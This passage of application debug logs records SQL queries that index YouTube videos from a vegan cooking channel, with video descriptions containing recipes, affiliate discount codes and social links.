you!\n\nFull recipe is on my blog ➡️ https://steamyvegan.com/minestrone-soup/\n\nLooking for a few other healthy plant-based recipes, check these out:\n3 Healthy Meal Prep Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nVegan Costco Grocery Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul\u00A0on\u00A0a\u00A0Vegan\u00A0and\u00A0Gluten\u00A0...\u00A0\u00A0\nNatalie Portman's Chickpea Stew: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Natalie\u00A0Portman's\u00A0FAVORITE\u00A0Vegan\u00A0R...\u00A0\u00A0\nHomemade Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "This soup for longevity is my new OBSESSION! (Vegan & Gluten-Free) - Vegan Minestrone", "28dcf151-8064-4882-b0be-26e074a0338d", 1, [], false, "mso-Kk3hL6Y", "https://www.youtube.com/watch?v=mso-Kk3hL6Y", 109, "/downloads/downloads/alec/Steamy Vegan/2025-03-01 This soup for longevity is my new OBSESSION! (Vegan & Gluten-Free) - Vegan Minestrone/This soup for longevity is my new OBSESSION! (Vegan & Gluten-Free) - Vegan Minestrone [mso-Kk3hL6Y].NA", false, false, false, 1, ~U[2025-03-01 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This minestrone soup recipe is touted as being an easy and delicious recipe for longevity amongst one of the oldest families in Sardinia, Italy! If you're looking to add a staple vegan recipe into your plant-based diet for weight loss and longevity then this is the perfect recipe for you!\n\nFull recipe is on my blog ➡️ https://steamyvegan.com/minestrone-soup/\n\nLooking for a few other healthy plant-based recipes, check these out:\n3 Healthy Meal Prep Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nVegan Costco Grocery Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul\u00A0on\u00A0a\u00A0Vegan\u00A0and\u00A0Gluten\u00A0...\u00A0\u00A0\nNatalie Portman's Chickpea Stew: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Natalie\u00A0Portman's\u00A0FAVORITE\u00A0Vegan\u00A0R...\u00A0\u00A0\nHomemade Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "This soup for longevity is my new OBSESSION! (Vegan & Gluten-Free) - Vegan Minestrone", 1, nil, false, "mso-Kk3hL6Y", "https://www.youtube.com/watch?v=mso-Kk3hL6Y", "/downloads/downloads/alec/Steamy Vegan/2025-03-01 This soup for longevity is my new OBSESSION! (Vegan & Gluten-Free) - Vegan Minestrone/This soup for longevity is my new OBSESSION! (Vegan & Gluten-Free) - Vegan Minestrone [mso-Kk3hL6Y].NA", false, ~U[2025-03-01 00:00:00Z]] 20:31:06.923 [debug] QUERY OK source="sources" db=1.0ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.925 [debug] QUERY OK source="media_items" db=2.0ms idle=9.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-25 00:00:00Z], 1] 20:31:06.928 [debug] QUERY OK source="media_items" db=1.6ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day video I'll show you everything I realistically eat in a day on a plant-based diet to hit 100g of protein. These vegan recipes are also gluten-free, high-protein, and perfect if you're trying to lose weight and build muscle. \n\nSave 20% off your first Odd Bunch order with my code: STEAMYVEGAN20\nAvailable in BC, Alberta, Ontario and Quebec!\n\nBLUEBERRY CHIA JAM: https://steamyvegan.com/chia-jam/\n\nTVP Meatballs\n\n1+½ cup dry TVP (textured vegetable protein)\n4 cup veggie broth or hot water\n1 small onion, diced\n3-4 cloves garlic, minced\n1 tbsp ground flaxseeds + 2.5 tbsp water\n2 tsp vegan worcestershire sauce\n1 tsp balsamic vinegar\n2 tsp smoked paprika \n1+½ tsp dried basil \n1+½ tsp dried oregano \n1 tsp cumin seeds\n1¼ tsp salt\n⅛ tsp black pepper\n½ cup lupin flour (can sub chickpea flour)\n4 tbsp tapioca starch\n\n1. Add TVP to a large bowl and pour 4 cups of boiling water or broth overtop and soak for 10 minutes. Strain and squeeze the excess liquid out through a fine mesh sieve and a wooden spoon, then set aside.\n2. Heat a small skillet over medium heat and warm a splash of water or olive oil, then add the finely chopped onion and garlic. Cook until tender and translucent, about 4 minutes.\n3. Grab a large mixing bowl and add rehydrated TVP, cooked onion and garlic, and the seasonings. Mix everything well with a spatula until well incorporated.\n4. Then add the lupin flour and the tapioca starch and mix well. It should be a moist mixture but not soggy or wet.\n5. Use your hands and/or a 2 tbsp cookie scoop to form the meatballs. The mixture is should be soft and slightly crumbly, so it is not too dry and dense after baking.\n6. Lightly spray a large baking sheet with oil and arrange the meatballs on it, evenly spaced apart.\nBake the TVP meatballs in a preheated oven of 400°F for 17-20 minutes, until slightly golden and crisp on the outside. Make sure to flip each meatball halfway through the cooking time to ensure even cooking.\n7. Serve with your favourite pasta sauce (only warm up in the sauce for a few minutes), on their own with mashed potatoes and gravy, or any way you like!\n\n\nHere are some other high-protein vegan recipes to check out:\nWhat I Ate in January to Lose Weight: \u00A0\u00A0\u00A0•\u00A0What\u00A0we\u00A0ate\u00A0in\u00A0a\u00A0month\u00A0to\u00A0lose\u00A0fat\u00A0and\u00A0gai...\u00A0\u00A0\nHigh-Protein Meal Prep Ideas: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\nHomemade Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\nHigh-Protein Costco Grocery Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul\u00A0on\u00A0a\u00A0Vegan\u00A0and\u00A0Gluten\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day to Reach 100g of Plant-Based Protein (TVP Meatballs, Blueberry Chia Jam & More)", "ce484cdc-545d-4c1d-a3f8-867086e7d54f", 1, [], false, "DiwIN43OzC0", "https://www.youtube.com/watch?v=DiwIN43OzC0", 110, "/downloads/downloads/alec/Steamy Vegan/2025-02-25 What I Eat in a Day to Reach 100g of Plant-Based Protein (TVP Meatballs, Blueberry Chia Jam & More)/What I Eat in a Day to Reach 100g of Plant-Based Protein (TVP Meatballs, Blueberry Chia Jam & More) [DiwIN43OzC0].NA", false, false, false, 1, ~U[2025-02-25 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day video I'll show you everything I realistically eat in a day on a plant-based diet to hit 100g of protein. These vegan recipes are also gluten-free, high-protein, and perfect if you're trying to lose weight and build muscle. \n\nSave 20% off your first Odd Bunch order with my code: STEAMYVEGAN20\nAvailable in BC, Alberta, Ontario and Quebec!\n\nBLUEBERRY CHIA JAM: https://steamyvegan.com/chia-jam/\n\nTVP Meatballs\n\n1+½ cup dry TVP (textured vegetable protein)\n4 cup veggie broth or hot water\n1 small onion, diced\n3-4 cloves garlic, minced\n1 tbsp ground flaxseeds + 2.5 tbsp water\n2 tsp vegan worcestershire sauce\n1 tsp balsamic vinegar\n2 tsp smoked paprika \n1+½ tsp dried basil \n1+½ tsp dried oregano \n1 tsp cumin seeds\n1¼ tsp salt\n⅛ tsp black pepper\n½ cup lupin flour (can sub chickpea flour)\n4 tbsp tapioca starch\n\n1. Add TVP to a large bowl and pour 4 cups of boiling water or broth overtop and soak for 10 minutes. Strain and squeeze the excess liquid out through a fine mesh sieve and a wooden spoon, then set aside.\n2. Heat a small skillet over medium heat and warm a splash of water or olive oil, then add the finely chopped onion and garlic. Cook until tender and translucent, about 4 minutes.\n3. Grab a large mixing bowl and add rehydrated TVP, cooked onion and garlic, and the seasonings. Mix everything well with a spatula until well incorporated.\n4. Then add the lupin flour and the tapioca starch and mix well. It should be a moist mixture but not soggy or wet.\n5. Use your hands and/or a 2 tbsp cookie scoop to form the meatballs. The mixture is should be soft and slightly crumbly, so it is not too dry and dense after baking.\n6. Lightly spray a large baking sheet with oil and arrange the meatballs on it, evenly spaced apart.\nBake the TVP meatballs in a preheated oven of 400°F for 17-20 minutes, until slightly golden and crisp on the outside. Make sure to flip each meatball halfway through the cooking time to ensure even cooking.\n7. Serve with your favourite pasta sauce (only warm up in the sauce for a few minutes), on their own with mashed potatoes and gravy, or any way you like!\n\n\nHere are some other high-protein vegan recipes to check out:\nWhat I Ate in January to Lose Weight: \u00A0\u00A0\u00A0•\u00A0What\u00A0we\u00A0ate\u00A0in\u00A0a\u00A0month\u00A0to\u00A0lose\u00A0fat\u00A0and\u00A0gai...\u00A0\u00A0\nHigh-Protein Meal Prep Ideas: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\nHomemade Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\nHigh-Protein Costco Grocery Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul\u00A0on\u00A0a\u00A0Vegan\u00A0and\u00A0Gluten\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\ (truncated) 20:31:06.929 [debug] QUERY OK source="sources" db=0.9ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.931 [debug] QUERY OK source="media_items" db=2.0ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-22 00:00:00Z], 1] 20:31:06.933 [debug] QUERY OK source="media_items" db=1.4ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you how to make 3 healthy dump and bake vegan casserole recipes that are gluten-free, high-protein, low calorie and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients. Each recipe is roughly 30g of protein and under 500 calories making these the perfect vegan recipes for anyone on a weight loss diet or wanting to build muscle!\n\nLOMI: Shop the world's first carbon neutral at-home food recycler! ➡️ https://get.aspr.app/SHvug\n\nALL CASSEROLE RECIPES ON MY BLOG STEAMYVEGAN.COM\nSmoky Lentil Casserole: https://steamyvegan.com/smoky-lentil-...\nVegan Sausage & Egg Casserole: https://steamyvegan.com/sausage-egg-c...\nGarlicky Golden Quinoa Casserole: https://steamyvegan.com/garlicky-gold...\n\nCheck out some of my other casserole episodes below!:\nLentil Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nBroccoli and Chickpea Cheezy Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nMango Chickpea Curry Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nBlack Bean Enchilada Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nVegan Tuna Casserole: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0'Tuna'\u00A0Casserole!\u00A0One\u00A0of\u00A0My\u00A0FAVE\u00A0Pla...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (gluten-free)", "a0242275-6ffa-457b-ba71-fae57fa4aa8f", 1, [], false, "NTYdVjoTSUo", "https://www.youtube.com/watch?v=NTYdVjoTSUo", 111, "/downloads/downloads/alec/Steamy Vegan/2025-02-22 3 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (gluten-free)/3 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (gluten-free) [NTYdVjoTSUo].NA", false, false, false, 1, ~U[2025-02-22 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this video I'm showing you how to make 3 healthy dump and bake vegan casserole recipes that are gluten-free, high-protein, low calorie and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients. Each recipe is roughly 30g of protein and under 500 calories making these the perfect vegan recipes for anyone on a weight loss diet or wanting to build muscle!\n\nLOMI: Shop the world's first carbon neutral at-home food recycler! ➡️ https://get.aspr.app/SHvug\n\nALL CASSEROLE RECIPES ON MY BLOG STEAMYVEGAN.COM\nSmoky Lentil Casserole: https://steamyvegan.com/smoky-lentil-...\nVegan Sausage & Egg Casserole: https://steamyvegan.com/sausage-egg-c...\nGarlicky Golden Quinoa Casserole: https://steamyvegan.com/garlicky-gold...\n\nCheck out some of my other casserole episodes below!:\nLentil Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nBroccoli and Chickpea Cheezy Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nMango Chickpea Curry Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nBlack Bean Enchilada Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nVegan Tuna Casserole: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0'Tuna'\u00A0Casserole!\u00A0One\u00A0of\u00A0My\u00A0FAVE\u00A0Pla...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (gluten-free)", 1, nil, false, "NTYdVjoTSUo", "https://www.youtube.com/watch?v=NTYdVjoTSUo", "/downloads/downloads/alec/Steamy Vegan/2025-02-22 3 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (gluten-free)/3 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (gluten-free) [NTYdVjoTSUo].NA", false, ~U[2025-02-22 00:00:00Z]] 20:31:06.934 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.936 [debug] QUERY OK source="media_items" db=1.7ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-18 00:00:00Z], 1] 20:31:06.937 [debug] QUERY OK source="media_items" db=1.0ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Everything in this Costco grocery haul is vegan, gluten-free, and high-protein for a couple on a vegan diet. We'll show you our favourite plant-based foods from Costco and we'll taste test a few new Costco items for you!\n\nCheck out some of our other vegan grocery hauls below:\nTrader Joe's Haul: \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Vegan\u00A0and\u00A0Gluten-Free\u00A0Grocery...\u00A0\u00A0\nCostco Vegan High-Protein Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0High-Protein\u00A0Vegan\u00A0Grocery\u00A0Haul\u00A0\u00A0\nSuperstore Healthy Haul: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0WFPB\u00A0Grocery\u00A0Haul\u00A0for\u00A0Fall!\u00A0🍂\u00A0\u00A0\nWalmart Haul: \u00A0\u00A0\u00A0•\u00A0WALMART\u00A0HAUL!\u00A0Should\u00A0a\u00A0Vegan\u00A0Grocery\u00A0Shop\u00A0...\u00A0\u00A0\nTrader Joe's Taste Test: \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Vegan\u00A0Taste\u00A0Test\u00A0🎄\u00A0New\u00A0HOLIDA...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco Grocery Haul on a Vegan and Gluten free Diet", "3c9ace34-865d-4fbe-94e9-a57912f489b1", 1, [], false, "OPsxYqyDSeQ", "https://www.youtube.com/watch?v=OPsxYqyDSeQ", 112, "/downloads/downloads/alec/Steamy Vegan/2025-02-18 Costco Grocery Haul on a Vegan and Gluten free Diet/Costco Grocery Haul on a Vegan and Gluten free Diet [OPsxYqyDSeQ].NA", false, false, false, 1, ~U[2025-02-18 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Everything in this Costco grocery haul is vegan, gluten-free, and high-protein for a couple on a vegan diet. We'll show you our favourite plant-based foods from Costco and we'll taste test a few new Costco items for you!\n\nCheck out some of our other vegan grocery hauls below:\nTrader Joe's Haul: \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Vegan\u00A0and\u00A0Gluten-Free\u00A0Grocery...\u00A0\u00A0\nCostco Vegan High-Protein Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0High-Protein\u00A0Vegan\u00A0Grocery\u00A0Haul\u00A0\u00A0\nSuperstore Healthy Haul: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0WFPB\u00A0Grocery\u00A0Haul\u00A0for\u00A0Fall!\u00A0🍂\u00A0\u00A0\nWalmart Haul: \u00A0\u00A0\u00A0•\u00A0WALMART\u00A0HAUL!\u00A0Should\u00A0a\u00A0Vegan\u00A0Grocery\u00A0Shop\u00A0...\u00A0\u00A0\nTrader Joe's Taste Test: \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Vegan\u00A0Taste\u00A0Test\u00A0🎄\u00A0New\u00A0HOLIDA...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco Grocery Haul on a Vegan and Gluten free Diet", 1, nil, false, "OPsxYqyDSeQ", "https://www.youtube.com/watch?v=OPsxYqyDSeQ", "/downloads/downloads/alec/Steamy Vegan/2025-02-18 Costco Grocery Haul on a Vegan and Gluten free Diet/Costco Grocery Haul on a Vegan and Gluten free Diet [OPsxYqyDSeQ].NA", false, ~U[2025-02-18 00:00:00Z]] 20:31:06.938 [debug] QUERY OK source="sources" db=0.6ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", 